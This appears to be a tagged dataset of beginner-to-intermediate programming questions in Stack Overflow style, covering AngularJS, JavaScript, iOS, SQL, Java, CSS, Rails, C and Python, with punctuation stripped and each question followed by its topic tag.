hide parent css rules on hovering over children in angular js using directives  i m trying to applying css rules on element on mouseover   but when i try to hover a child element   css rules for parent node remain in tact .    when child node is selected then parent node should be deselected . please check the jsfiddle   <pre><code>&lt;div ng-app= demo_app &gt;     &lt;div ng-controller= maincontroller &gt;        &lt;div hover style= padding:20px; &gt;         parent         &lt;div hover style= padding:20px; &gt;            children: sub parent            &lt;div hover style= padding:20px; &gt;               children: sub parent sub parent                &lt;div hover style= padding:20px; &gt;                  content               &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;/div&gt;     &lt;/div&gt;  &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js &gt;  &lt;/script&gt;  &lt;script&gt;     var app = angular.module( demo_app  []);      app.controller( maincontroller   [ $scope   function($scope)     {      }]);      app.directive( hover   function(){        return {         restrict:  ae            link: function($scope  element  iattrs  controller)          {             var add_button= &lt;div class= hover_plus &gt;&lt;a href= # &gt;&lt;span class= glyphicon glyphicon-plus navplus &gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt; ;              element.bind( mouseover  function()             {                element.css( outline    );               console.log(element.parents().css( outline    ));               element.css( outline   1px solid red );              });              element.bind( mouseout  function()             {               element.css( outline   1px solid red );               element.css( outline    );               element.find( .hover_plus ).remove();             });          }       };     }); &lt;/script&gt; </code></pre>   <a href= https://jsfiddle.net/john_bahar/6yztpn6b/1/  rel= nofollow >https://jsfiddle.net/john_bahar/6yztpn6b/1/</a>,angularjs
trying to display message to user after prompts and between for loop <pre><code>var a = prompt( input for smallest account: );  var b = prompt( input for largest account: );  var inca = prompt( increment for account a: );  var incb = prompt( increment for account b: );  var num1 = parseint(a);  var num2 = parseint(b);  var num3 = parseint(inca);  var num4 = parseint(incb);   for (var i = 1; num1 !== num2; i ++) {  num1 += num3;  num2 += num4;  document.write( day:   + i      account a:   + num1      account b:   + num2   &lt;br&gt; ); } </code></pre>   how would i display a message to user saying accounts won’t be equal if <code>num4</code> is greater than <code>num3</code> and therefore will not run the <code>for</code> loop,javascript
ios - why is init necessary and other init questions  objective c spec (from apple) page 49 states that  <strong>every class that declares an instance variable must provide an init method to initialize them</strong>    my questions -  why is this necessary   doesn t nsobject initialize the ivar s for a instance     should one think of init as a constructor.      does init have to be called init  can i do  id anobject  = [[someclass alloc] <strong>foo</strong>];    muchas gracias.,ios
ui-bootstrap pagination with filter  after some research and study of examples i implemented a pagniation with a filter function.    im very new to angular  so i need your help if this application is ok or it has some bugs/logical errors.    the target is to select a collection (in this application load1 or load2) and create new objects  manipulate existing  or delete some of them. on every update of the data  it has to be checked if the pagination is synchronous to the collection size. if the user enters something into the search field  a watcher in the controller is fired for updating the filtered data:   <pre><code>$scope.$watch( search.name   function (newval  oldval) {     $scope.filtered = filterfilter($scope.items  {name: newval}); }  true); </code></pre>   i would be very happy if some of you angular pros can look into this code and give me some feedback. i want to use this in a productive system  so every answer would be great!    here is a working plunkr: <a href= http://plnkr.co/edit/j9dvahem7y1j5mfsrk1f p=preview  rel= nofollow >http://plnkr.co/edit/j9dvahem7y1j5mfsrk1f p=preview</a>    thank you!,angularjs
using the index in ng-options  i have a select that shows the elements of an array. i want to bind this select to the index of the element. i have this code   <pre><code>var choices = [    one      two      three  ];  &lt;select   ng-model= model.choice    ng-options= idx as choice for (idx  choice) in choices &gt; &lt;/select&gt; </code></pre>   that works but if the array has more than 10 elements the order of the options in the select does not match the order of the elements in the array. it seems that angular does a sort of the  value  attribute of the options which holds the index of the element in the array without leading zeros so the sort goes  1    10    2    3   ...    how can i workaround this and have the options enumerated in the same order they appear in the array,angularjs
ror link_to method problem  i m trying to pass some values through a link and i want them to be invisible. these are the options i ve tried:   <pre><code>&lt;%= link_to  add comment   :controller =&gt; :comments  :action =&gt; :new  :idea_id =&gt; @idea.id  :user_id =&gt; @idea.user.id  :method =&gt; :post %&gt;  &lt;%= link_to  add comment  { :controller =&gt; :comments  :action =&gt; :new  :idea_id =&gt; @idea.id  :user_id =&gt; @idea.user.id}  :method =&gt; :post %&gt;  &lt;%= link_to  add comment   :controller =&gt; :comments  :action =&gt; :new  :idea_id =&gt; @idea.id  :user_id =&gt; @idea.user.id  %&gt;  &lt;%= link_to  add comment   new_comment_path  :idea_id =&gt; @idea.id  :user_id =&gt; @idea.user.id  :method =&gt; :post %&gt; </code></pre>   first option - treats method as a parameter: <a href= http://localhost:2000/comments/new idea_id=1&amp;method=post&amp;user_id=1  rel= nofollow >http://localhost:2000/comments/new idea_id=1&amp;method=post&amp;user_id=1</a>    second option - goes like this: <a href= http://localhost:2000/comments/new idea_id=1&amp;user_id=1  rel= nofollow >http://localhost:2000/comments/new idea_id=1&amp;user_id=1</a>  and also causes routing error:  routing error no route matches  /comments/new     third option - loads the form  but of course is like: <a href= http://localhost:2000/comments/new idea_id=1&amp;user_id=1  rel= nofollow >http://localhost:2000/comments/new idea_id=1&amp;user_id=1</a>    fourth option - looks good (http://localhost:2000/comments/new) but the same routing error like the second one.    what am i doing wrong     thanks in advance.    ps    i was asked to give my routes  so here they are:   <pre><code>  resources :rights    resources :comments    resources :ideas    resources :users    resources :sessions  :only =&gt; [:new  :create  :destroy]    root :to =&gt;  main#home     #match  /comments/new  =&gt;  comments#new  # this doesn t help    match  /home   :to =&gt;  main#home    match  /contact   :to =&gt;  main#contact    match  /signin   :to =&gt;  sessions#new    match  /signout   :to =&gt;  sessions#destroy    match  /signup   :to =&gt;  users#new  </code></pre>,ruby-on-rails
blocking application from being executed  ihave a c function which blockes exe applications from being executed  and i like to do the same with window form .net2. how    <pre><code>int executeblocking(const char *appname  const char *cmdline) {  char sz[260];  startupinfo sistartupinfo;  process_information piprocessinfo;  memset(&amp;sistartupinfo  0  sizeof(sistartupinfo));  memset(&amp;piprocessinfo  0  sizeof(piprocessinfo));  sistartupinfo.cb = sizeof(sistartupinfo);  bool b = createprocess(0  sz  0  0  0  create_default_error_mode  0  0  &amp;sistartupinfo  &amp;piprocessinfo);  if (b == 0)   return -1;  waitforsingleobject(piprocessinfo.hprocess  -1);  closehandle(piprocessinfo.hprocess);  closehandle(piprocessinfo.hthread);  return 0; } </code></pre>,.net
how to update .class file into existing .jar file   have one  .class  file and i want to update(add) new changes into the existing  .jar  file.  how to do in  cmd  prompt(windows os) and what steps should be follow up the steps,java
how to get the time from a server without using system time <pre><code>import java.text.simpledateformat; import java.util.calendar;  public class currenttime {      public static void main(string[] args) {         calendar cal = calendar.getinstance();         simpledateformat sdf = new simpledateformat( hh:mm:ss );         system.out.println( sdf.format(cal.gettime()) );     }  } </code></pre>   if i change my system date it will automatically change to same time.... so... i need to show original internet server time without system time...... anyone pls ans this.......,java
union and structure for usb driver implementation  i am trying to create host usb drivers  for a printer device  using the pic32mx  series . i am using the microchip library application sample example . wherein ii see that in order to send the bdt  the below mentioned  structure is used. now the bdt should be in all 8 bytes as documented in the application note    but when i check the size of the bd_entry union variable i  see that it is different- 12 bytes. it should be 8 bytes if i am right. i tried to compile this particular  part of  the same code using mikroc and simulated it using proteus and i find the byte length (sizeof) to be 8 bytes.    i am a bit confused  also i am new to the world of pointers  structures and unions.   <pre><code>typedef union _bd_stat {     byte val;     struct {         //if the cpu owns the buffer then these are the values         unsigned bc8:1;         //bit 8 of the byte count         unsigned bc9:1;         //bit 9 of the byte count         unsigned bstall:1;      //buffer stall enable         unsigned dtsen:1;       //data toggle synch enable         unsigned incdis:1;      //address increment disable         unsigned ken:1;         //bd keep enable         unsigned dts:1;         //data toggle synch value         unsigned uown:1;        //usb ownership     };      struct {         //if the usb module owns the buffer then these are         // the values         unsigned :2;         unsigned pid0:1;        //packet identifier         unsigned pid1:1;         unsigned pid2:1;         unsigned pid3:1;         unsigned :1;     };      struct {         unsigned :2;         unsigned pid:4;         //packet identifier         unsigned :2;     }; } bd_stat;      typedef union __attribute__ ((packed))__bdt {     //typedef union __bdt{     struct __attribute__ ((packed)) {         //struct            bd_stat     stat;         word        cnt:10;         word        adr;                               word        adrh;                        };     struct __attribute__ ((packed)) {         //struct            dword       res  :16;         dword       count:10;     };      dword           w[2];     word            v[4];     qword           val; } bdt_entry; </code></pre>,c
how can i send parameters to a java class in android   hi there i have a class like this:   <pre><code>public class scrollfragment extends fragment {      private observablescrollview mscrollview;      public static scrollfragment newinstance() {         return new scrollfragment();     }      @override     public view oncreateview(layoutinflater inflater  @nullable viewgroup container  @nullable bundle savedinstancestate) {        ...     }      @override     public void onviewcreated(view view  @nullable bundle savedinstancestate) {           stringa1 = a1;  // a1 =  mystring      } } </code></pre>   how can pass <code>a1</code> to the class     i use this function to call class:   <pre><code>import com.github.florent37.materialviewpager.sample.fragment.scrollfragment; ... scrollfragment1.newinstance(); </code></pre>   so i want send string to class when i call class:   <pre><code>scrollfragment1.newinstance( mystring ); </code></pre>   but now i must change something in class...but how,java
duplicate interface definition for class  myclass   looks like cached old version of myclass  i m now stuck with this problem  xcode says duplicate interface of myclass  but on the top bar menu  there s no path to myclass  just myclass.h. and this class looks like an older version of myclass  cached or something. my latest code is just lying in the project navigator and it s different to the displaying file  if i click it  i can see the full path to myclass on the top bar of xcode. i tried cleaning my project and deleted derived data  but all my efforts were useless! i m almost desperate  can any one help me  thanks in advance!,ios
is $( <tr> ) a valid selector   i understand that the general pattern of jquery is to select dom elements then to operate on them. selection is by using a selector like so:   <pre><code>$(  div.foo  ) </code></pre>   i am currently studying some code and found this:   <pre><code>var buttons = $( &lt;tr&gt; ).addclass( buttons ).append( &lt;td&gt; ) </code></pre>   and   <pre><code>var db_name = $( &lt;input name= db_name  type= text  placeholder= enter db name     here &gt; ).val(_db_name); </code></pre>   have been searching high and low for an answer but can t understand why $(  ) works when a correct selector should not include the angular brackets.    can i ask if there is another way to write selectors that have angular brackets which is why the code worked,jquery
how to chain c++ `transform` and `inner_product` calls   i would like to do something like:   <pre><code>vector&lt;int&gt; v; v.push_back(0); v.push_back(1);  v     .transform([](auto i) { return i + 2; })     .transform([](auto i) { return i * 3; })     .inner_product(0); </code></pre>   in other words  just implicitly use <code>begin()</code> and <code>end()</code> for the <code>first</code> and <code>last</code> iterators and chain the results.    is there anything (eg some library) that would allow this,c++
how to get multiple value in checkbox list (asp.net)  i m able to get single value from checkbox list for e.g this <code>query= select * from product where brand= samsung  </code>. the samsung value coming from checkbox list but when i want to pass multiple value  like this <code>query= select * from product where price between 10 and 20   how to get  10  and  20 </code>. from checkbox list,asp.net
calculating percent return users using with sql  i would like to calculate the distinct users that have returned by month  the main problem with this query i think is that it select users in october or november i want to be and.    <pre><code>select (  select count( distinct table.user )  from table where table.month in (october)  ) / (  select count( distinct table.user )  from table where table.month in (october november)  )*100 as return_users </code></pre>   table structure   <pre><code>    user month       jack october      jack november      jack november      jack november      sam november      john october      john october  </code></pre>,mysql
check whether app updates work without submitting to app store  i have an application already on the store and would like to release an update. since my app deals with databases and i ve had to change some parts of it  i would like to ensure that the update does not affect the existing functionality in any way once the user updates from the app store.    what i did was this - install the first version of my app on my device. changed the update s version in info.plist to 1.1 and run it via xcode (and install on my device). but what happens by doing this is some of the changes i made to the xibs do not show up. it looks as if the app was only half-updated (if you know what i mean)    is there any way to update an existing app programmatically without having to go through the app store and then find out it could lead to a disaster !    thanks for any help!,iphone
best way to save a set of integers  let s say i want to ask the user for some integers and then i want to do some arithmetic operations on them (like compute the mean  mode  etc...). what is the best and most efficient way to collect the data to be able to apply statistical functions to it,c++
horizontal css slider bar  i want to have a complete css coded horizontal slider bar. i am now sick of jquery s several version and so i decided to have a complete css silder bar.    please post any links if anybody know any slider horizontal bar.    in the slider bar i can be able to set the min and the max position .also when the page is loaded i can be able to set the slider handle to a some specific location between the min and the max value.,css
how do you close/hide a html navigation tab in javascript   i am doing a project and i want to be able to hide/close a tab as the tab will stay open until you refresh the page.    <strong>closed:</strong> <a href= https://i.stack.imgur.com/o5l6h.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/o5l6h.png  alt= enter image description here ></a> <strong>open:</strong> <a href= https://i.stack.imgur.com/788nk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/788nk.png  alt= enter image description here ></a>    i am using javascript to get it to open and display the tabcontent. however i would like to make it close when you click off the tabs and when you click on the tab title.    <strong>js:</strong>   <pre><code>function openpage(pagename  elmnt  color) {   // hide all elements with class= tabcontent  by default */   var i  tabcontent  tablinks;   tabcontent = document.getelementsbyclassname( tabcontent );   for (i = 0; i &lt; tabcontent.length; i++) {     tabcontent[i].style.display =  none ;   }    // remove the background color of all tablinks/buttons   tablinks = document.getelementsbyclassname( tablink1 );   for (i = 0; i &lt; tablinks.length; i++) {     tablinks[i].style.backgroundcolor =   ;   }    // show the specific tab content   document.getelementbyid(pagename).style.display =  block ;    // add the specific color to the button used to open the tab content   elmnt.style.backgroundcolor = color;   }  // get the element with id= defaultopen  and click on it document.getelementbyid( defaultopen ).click(); </code></pre>   i m sorry if someone has already asked this question but i would like some help. thanks in advance!,javascript
css rounded corner and shadow does not work in ie or chrome  i am using css rounded corners and shadow and when i run it through debugging in visual studio through chrome it works just fine but when i place it onto a server and try to access it through server via chrome or ie it does not show the shadow nor rounded corners. is something different between server side and virtual server provided  by visual studio   thanks for your help in advance.    <pre><code>.greenborder { border-radius: 15px 15px 15px 15px;padding: 8px; border: 2px solid #7f9f1a; behavior: url(ie-css3.htc); background-color :white ; box-shadow: 10px 10px 5px #888; } </code></pre>   <strong>updated</strong>    <pre><code>-moz-border-radius: 15px; /* firefox */ -webkit-border-radius: 15px; /* safari  chrome */ border-radius: 15px 15px 15px 15px; /* css3 */  padding: 8px;  border: 2px solid #7f9f1a;   behavior: url(ie-css3.htc); background-color: white;  -webkit-box-shadow: 10px 10px 5px #888; -moz-box-shadow: 10px 10px 5px #888; box-shadow: 10px 10px 5px #888; </code></pre>,css
how to ios adding custom font with same name but different weight   i have a problem of adding custom font with same name but different weight like:   <pre><code>[_lblfullname setfont:[uifont fontwithname:@ museo sans 500  size:20]]; [_lblticket setfont:[uifont fontwithname:@ museo sans 900  size:12]]; </code></pre>   i can only make this work by adding only one font weight but i have to rename it <code>museo sans</code> and only import one font to bundle and delete the other font. like:   <pre><code>[_lblfullname setfont:[uifont fontwithname:@ museo sans  size:20]]; [_lblticket setfont:[uifont fontwithname:@ museo sans  size:12]]; </code></pre>   but it only allows me one font weight  i need to have to import this two font weight. please help.,ios
sql join query in sql fiddle   i am working on a sql project from one of my courses  using sql fiddle. somehow i cannot extract some information  i ve tried all sorts of different queries but i cannot get the correct results.     i have the following three tables:   <pre><code>a(pk:course_code  course_name) b(pk and fk:course_code  pk and fk: book_id ) c(pk:book_id  title) </code></pre>   i want to extract the book_id and title for which course_name =  data management .        does anybody know the solution  i would really appreciate your help :)  thanks in advance!,sql
javascript string to property  how can i get the method eg:  background  of an object/element from string  background   <a href= http://jsfiddle.net/tpahadi/ajqcv1u0/1/  rel= nofollow ><strong>jsfiddle</strong></a> here is my method that looks kind of jquery:   <pre><code> var $ = function css(selector mystyle value){     var p = document.queryselectorall( selector );     for(var i = 0; i&lt;x.length; i++){         //this works         x[i].style.background =  #0489b1 ;          //this doesn t         //x[i].style.mystyle =  #0489b1 ;     } } </code></pre>   how can i call it using    <pre><code>$( .example   background   blue ); </code></pre>,javascript
failure sending mail (smtpclient)  i ve got code as follows:   <pre><code>var smtpclient = new smtpclient( my.mail.server ); smtpclient.send(mailmessage); </code></pre>   however the send method call fails with a  the remote machine actively refused  exception message. i know that there s no firewall blocking cuz i can telnet to the same addresse and manually work the smtp protocol through with the server. i know the code is working cuz i can get a connection to a different port than the default 25. there s no software firewall blocking the transmission.    when wiresharking i can see the packages being set when telnet ing and i can see that nothing leaves my machine when i try with the code. so it s a safe assumption that the problem is on my machine and has nothing to do with the network.    basically i can connect to the address with everything else than .net code which leads me to my problem potentially being a configuration problem but i lack ideas of where and what i d need to configure differently. any suggestions to a possible cause     edit: in a project with only the two line that sends the mail i get the same problem. when trying to establish a tcp connection through code i get the same problem so i know it s nothing to do with the smtp protocol (or authentication) the problem is the tcp socket connection attempt being blocked but i still have no clue why,.net
android send data from intentservice to activity  i have a service which fetches some data from network.i am sending data download finish type of messages through messenger object like this   <pre><code>messangerclient.send(message.obtain(null  myactivity.download_sucess)); </code></pre>   and getting it in my activity successfully.but now i need to send data from my service to my activity.i cannot use parcel framework because it is supported from 2.2.so i am thinking to send it via setdata() using bundle.but i am unable to figure out how to do this.    please anybody have any idea to how to do this. thanks,android
rails only escape certain sections of content  i m looking to turn all words preceeded by a # (ie #stackoverflow) into a link that when clicked through will link to the search page with the word as a query.    i tried this recently and got the right html being returned  but because content is automatically escaped it showed as:   <pre><code>this is some content &lt;a href= search q=something &gt;something&lt;/a&gt; </code></pre>   my question is: is there any way to only apply html_safe to every part of the content except for these links,ruby-on-rails
set an anchor element s href relative to the current uri   im on the page:   <pre><code>example.com/news </code></pre>   it s a list of news articles. is it possible to set links on each news article and take into account the current url    <pre><code>&lt;a href= the-article &gt;link to something&lt;/a&gt; </code></pre>   the above will link to:   <pre><code>example.com/news/article </code></pre>   or will i need to get the entire route and specify that in the link     the url could be anything eg. /products so i do not want to hardcode it in.,html
xml parsing in python-- avoid multiple tag values in sub root  actuvally am having below xml file:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;  &lt;soapenv:envelope xmlns:soapenv= http://schemas.xmlsoap.org/soap/envelope/ &gt;          &lt;soapenv:body&gt;                  &lt;c:retrivebyvehiclelinemodelyearresponse xmlns:a= urn:ford/vehicleorder/legacyfeaturemapping/v2.0  xmlns:b= urn:ford/vehicleorder/singleorderedit/v1.0  xmlns:c= urn:ford/interface/vehicleorder/legacyfeaturemapping/v2 &gt;                          &lt;c:portinstalledoptionfeature&gt;                                  &lt;a:vehiclelineid&gt;13001&lt;/a:vehiclelineid&gt;                                  &lt;a:modelyear&gt;2014&lt;/a:modelyear&gt;                                  &lt;a:legacycolumn&gt;12&lt;/a:legacycolumn&gt;                                  &lt;a:legacyvalue&gt;178       &lt;/a:legacyvalue&gt;                                  &lt;a:salescode&gt;w78&lt;/a:salescode&gt;                                  &lt;a:mappingid&gt;41859&lt;/a:mappingid&gt;                                  &lt;a:mappingseq&gt;0&lt;/a:mappingseq&gt;                                  &lt;a:mappingdirection&gt;b&lt;/a:mappingdirection&gt;                                  &lt;a:targetfeature&gt;                                          &lt;a:targetcatgegory&gt;                                                  &lt;a:id&gt;181&lt;/a:id&gt;                                                  &lt;a:name&gt;light truck wheelbases        &lt;/a:name&gt;                                                  &lt;a:type&gt;p&lt;/a:type&gt;                                                  &lt;a:familycode&gt;aa5&lt;/a:familycode&gt;                                          &lt;/a:targetcatgegory&gt;                                          &lt;a:orderfeatureid&gt;15615&lt;/a:orderfeatureid&gt;                                          &lt;a:werscode&gt;aa5k8&lt;/a:werscode&gt;                                          &lt;a:orderfeaturename&gt;178 /4521mm wheelbase         &lt;/a:orderfeaturename&gt;                                          &lt;a:pio&gt;false&lt;/a:pio&gt;                                          &lt;a:summaryfeature&gt;false&lt;/a:summaryfeature&gt;                                  &lt;/a:targetfeature&gt;                                  &lt;a:targetfeature&gt;                                          &lt;a:targetcatgegory&gt;                                                  &lt;a:id&gt;181&lt;/a:id&gt;                                                  &lt;a:name&gt;light truck wheelbases        &lt;/a:name&gt;                                                  &lt;a:type&gt;p&lt;/a:type&gt;                                                  &lt;a:familycode&gt;aa5&lt;/a:familycode&gt;                                          &lt;/a:targetcatgegory&gt;                                          &lt;a:orderfeatureid&gt;15615&lt;/a:orderfeatureid&gt;                                          &lt;a:werscode&gt;aa5k8_second time&lt;/a:werscode&gt;                                          &lt;a:orderfeaturename&gt;178 /4521mm wheelbase         &lt;/a:orderfeaturename&gt;                                          &lt;a:pio&gt;false&lt;/a:pio&gt;                                          &lt;a:summaryfeature&gt;false&lt;/a:summaryfeature&gt;                                  &lt;/a:targetfeature&gt;                          &lt;/c:portinstalledoptionfeature&gt;                          &lt;c:portinstalledoptionfeature&gt;                                  &lt;a:vehiclelineid&gt;13001&lt;/a:vehiclelineid&gt;                                  &lt;a:modelyear&gt;2014&lt;/a:modelyear&gt;                                  &lt;a:legacycolumn&gt;12&lt;/a:legacycolumn&gt;                                  &lt;a:legacyvalue&gt;190       &lt;/a:legacyvalue&gt;                                  &lt;a:salescode&gt;w90&lt;/a:salescode&gt;                                  &lt;a:mappingid&gt;41860&lt;/a:mappingid&gt;                                  &lt;a:mappingseq&gt;0&lt;/a:mappingseq&gt;                                  &lt;a:mappingdirection&gt;b&lt;/a:mappingdirection&gt;                                  &lt;a:targetfeature&gt;                                          &lt;a:targetcatgegory&gt;                                                  &lt;a:id&gt;181&lt;/a:id&gt;                                                  &lt;a:name&gt;light truck wheelbases        &lt;/a:name&gt;                                                  &lt;a:type&gt;p&lt;/a:type&gt;                                                  &lt;a:familycode&gt;aa5&lt;/a:familycode&gt;                                          &lt;/a:targetcatgegory&gt;                                          &lt;a:orderfeatureid&gt;15616&lt;/a:orderfeatureid&gt;                                          &lt;a:werscode&gt;aa5ma&lt;/a:werscode&gt;                                          &lt;a:orderfeaturename&gt;190 /4826mm wheelbase         &lt;/a:orderfeaturename&gt;                                          &lt;a:pio&gt;false&lt;/a:pio&gt;                                          &lt;a:summaryfeature&gt;false&lt;/a:summaryfeature&gt;                                  &lt;/a:targetfeature&gt;                          &lt;/c:portinstalledoptionfeature&gt;                  &lt;/c:retrivebyvehiclelinemodelyearresponse&gt;          &lt;/soapenv:body&gt;  </code></pre>  <h1>    </h1>   my expected output is:   <pre><code>werscode  aa5k8  aa5ma </code></pre>   for this am using below code:   <pre><code>import glob    import xml.etree.elementtree as et   fatfile = open( #var_soe_vlis_response_output\\sales_to_wers_code2.txt    a )  try:     tree = et.parse( #var_eng_response_files\\soapresponse1.xml )         fatfile.write( 1111 )     werscodelist = tree.findall( .//{urn:ford/vehicleorder/legacyfeaturemapping/v2.0}portinstalledoptionfeature )     fatfile.write( \n2222 )    # x = len(werscodelist)    # fatfile.write(x)     fatfile.write( \n333 )     for werscode in werscodelist :           fatfile.write( \n444 )           werscode = werscode.find( .//{urn:ford/vehicleorder/legacyfeaturemapping/v2.0}werscode )           fatfile.write( \n )           fatfile.write(werscode.text)  except :      fatfile.write(  \nsorry )  fatfile.write(  \nsuccess )  </code></pre>      but i could not able to get the all   portinstalledoptionfeature  child values.. the findall methos returns empty list...    please help me on this sir.....,python
how to avoid the crash when i scroll the tableview  i am developing one application.in that when i scroll the table view then the application is crashing. so please tell me how to avoid the crashing when i scroll the table view.,iphone
how can i close view after completion of playing sound  hi i am new to iphone. what i did is displaying a grid of images and by selecting the image from the grid selected image will be displayed on imageview along with sound i am using the fallowing code to play audio     <pre><code>nsstring *newaudiofile = [[nsbundle mainbundle] pathforresource:@”musicfile”  oftype:@”mp3″]; avaudioplayer *audioplayer =  [[avaudioplayer alloc] initwithcontentsofurl:[nsurl fileurlwithpath:newaudiofile] error:null];  [audioplayer play]; </code></pre>   now what i need is how can i get to view after completion of playing sound file post some code. thank u.,iphone
resolving an arithmetic overflow exception  how to handle an arithmetic overflow exception when getting a tweet with hashtag and used a count in search option     we used  tweet sharp but exception is not handle how to execution is handle when a selecting hashtag tweet less than count then count number then a exception occurs.    how to resolved the problem    <pre><code>public actionresult jsondata() {     var service = new twitterservice(     );      //authenticatewith( access token    accesstokensecret );     service.authenticatewith(      );     //int tweetcount = 1;     var tweets = service.search(new searchoptions { q =  #itcanwait   resulttype = twittersearchresulttype.popular count=70});     list&lt;twitterstatus&gt; resultlist = new list&lt;twitterstatus&gt;(tweets.statuses);     viewbag.tweets = resultlist;     //return json(resultlist);     return view(); } </code></pre>,.net
items in multiple categories show multiple times  i ve got items in an  equip  table that are linked to the equipcat table using a junction table. the problem is that i want to get a list of all items where the user supplied search term is found inside one of numerous fields  including the equipcat (aka category description) field. but <strong>i want each item to only be listed once.</strong>    it seems i must have some fundamental misunderstanding about sql because i ve faced this problem before and had trouble figuring it out. i m not only looking to solve this particular issue but to also understand it better for future needs.    here s my sql. please ignore the fuzzy searches as i realize they don t scale/perform well. i m also aware that my use of a single field to hold keywords violates good design and i m simply asking that you ignore that unless you feel that it is important to the question i m asking.   <pre><code>select equip.equipid  equip.equipdesc  equip.equipgeneraldesc       equip.keywords  equip.dayprice  equip.weekprice       equip.monthprice  equip.hideyn  equipcat.equipcat       equipcat.equipcatkeywords  from (equip inner join equip_equipcat on equip.equipid = equip_equipcat.equipid) inner join equipcat on equip_equipcat.equipcatid = equipcat.equipcatid where (equip.equipdesc like  %rake%  or equip.keywords like  %rake%  or      equipcat.equipcat like  %rake%  or equipcat.equipcatkeywords like  %rake% )      and (equip.hideyn = 0) order by equipdesc asc; </code></pre>,sql
determine the relationship between two elements  lets say i have the following dom elements:   <pre><code>&lt;div&gt;test&lt;/div&gt; &lt;div&gt;test&lt;/div&gt; </code></pre>   and let s assume that i have a reference to each div  but not to a collection of them. is there some way i can determine the relationship between them  e.g.  if i have <code>div1</code> and <code>div2</code>  is there some way i can tell whether <code>div1</code> is before or after (or inside  or whatever) <code>div2</code>     i know i can use   <pre><code>var elements = document.queryselectorall( div ); </code></pre>   ...and then of course  <code>elements[0]</code> is before <code>elements[1]</code>. but if i don t have that collection of elements  just individual references  is there a way to tell,javascript
download image from image url and showing in image control in asp.net with c#  i have a problem that i want to show an image in image control by downloading image from image url  but i don t know how to do that  please suggest me right solution for this problem.    thanks in advance.,asp.net
div diamond with straight background image  i have a couple divs  i want to rotate them to look like diamonds  but i don t want their background images to rotate  how can i achieve this  this is my code right now   <pre><code>&lt;div id= diamonds &gt;  &lt;div class= diamond-big diamond-tiesto &gt;&lt;img src= &lt; php echo $images_url;  &gt;dj-1-overlay.png  /&gt;&lt;/div&gt;  &lt;/div&gt; </code></pre>   and my css:   <pre><code>#diamonds div { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -o-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg);  float:left; }  .diamond-tiesto {background-image:url( images/dj-1.jpg ); background-size:cover; width:212px; height:212px; margin-left:160px; margin-right:120px;} .diamond-tiesto img {margin-top:80px; margin-left:-20px; -webkit-transform: rotate(-45deg); -moz-transform: rotate(-45deg); -o-transform: rotate(-45deg); -ms-transform: rotate(-45deg); transform: rotate(-45deg);  } </code></pre>   basically i am trying to achieve this <a href= http://mqchen.github.io/jquery.diamonds.js/  rel= nofollow >http://mqchen.github.io/jquery.diamonds.js/</a> without the jquery  anyone have any suggestions    heres a fiddle just incase:    <a href= http://jsfiddle.net/7qj8h/1/  rel= nofollow >http://jsfiddle.net/7qj8h/1/</a>,css
javascript alert title header  i want to change javascript alert title header from displaying internet explorer to another name. is a way to do it     i found these site in the net:    <a href= http://bytes.com/topic/javascript/answers/148721-change-title-bar-javascript-alert-box  rel= nofollow noreferrer >http://bytes.com/topic/javascript/answers/148721-change-title-bar-javascript-alert-box</a>    <a href= https://stackoverflow.com/questions/1905289/how-to-edit-a-javascript-alert-box-title >how to edit a javascript alert box title </a>    which say that there is no solution. is it true there are no other way,javascript
read all elements of martix diagonally from upper left to lower right  i am having a java code that reads diagonal values from upper right to lower left    but i want code to read values from upper left to lower right.    <pre><code>int [][]mat = { {1 2 3}                  {4 5 6}                  {7 8 9}  };  int n=3;  for (int s=0; s&lt;n; s++) {     for (int i=s; i&gt;-1; i--) {         system.out.print(mat[i][s-i] +    );     }     system.out.println(); }  for (int s=1; s&lt;n; s++) {     for (int i=n-1; i&gt;=s; i--) {         system.out.print(mat[i][s+n-1-i] +    );     }     system.out.println(); } </code></pre>   and output of above code is     1    4 2    7 5 3    8 6    9    i want sequence like   <pre><code>3 2 6 1 5 9 4 8 7 </code></pre>,java
out of memory during loading images taken with the camera  i am loading an image scale it to screen size and after that the user can draw some text on it using his hand.      after that user can save it to sd card. i need to save it to same width and height as original image has. for others sample image it is working fine. but when i am loading the image captured by camera and once i draw something on draw. i try to scale image back to original height and width but it is giving exception  out of memory exception  for all the images captured by camera. the code is as follows:   <pre><code>private void saveview(view view) {         bitmap b = bitmap.createbitmap(view.getwidth()  view.getheight()                  bitmap.config.argb_8888);         string filepath= /sdcard/ ;         canvas c = new canvas(b);           view.draw(c);         float scaleheight=((float)getheight()/b.getheight());         float scalewidth=((float)getwidth()/b.getwidth());         matrix matrix=new matrix();         matrix.postscale(scalewidth  scaleheight);         log.e( getwidth()    : +getwidth());         log.e( getheight()    : +getheight());                **//giving exception at below line as i am trying to scat it to origenal size.         b=bitmap.createbitmap(b 0 0 b.getwidth() b.getheight() matrix true);** </code></pre>,android
plus sign in a ul bullet list   i need to have a bullet list to generate some tabs in a page. this is the page i m currently working on:    <a href= http://citydev.pipehosting.it/francia-en-it/parigi-it/torre-eiffel.html  rel= nofollow >http://citydev.pipehosting.it/francia-en-it/parigi-it/torre-eiffel.html</a>    i need to write  +info  in one of the tabs - which are all <code>&lt;li&gt;</code> elements - but it s shown as  info+  instead... (as seen when visiting the link).    my html for the list:   <pre><code>&lt;ul class= tabs &gt;      &lt;li class= current &gt;&lt;strong&gt;prodotto&lt;/strong&gt;&lt;/li&gt;      &lt;li&gt;cosa include&lt;/li&gt;     &lt;li&gt;in evidenza&lt;/li&gt;      &lt;li&gt;come funziona&lt;/li&gt;      &lt;li&gt;consegna&lt;/li&gt;     &lt;li&gt;+info&lt;/li&gt;      &lt;li&gt;video&lt;/li&gt;  &lt;/ul&gt; </code></pre>,html
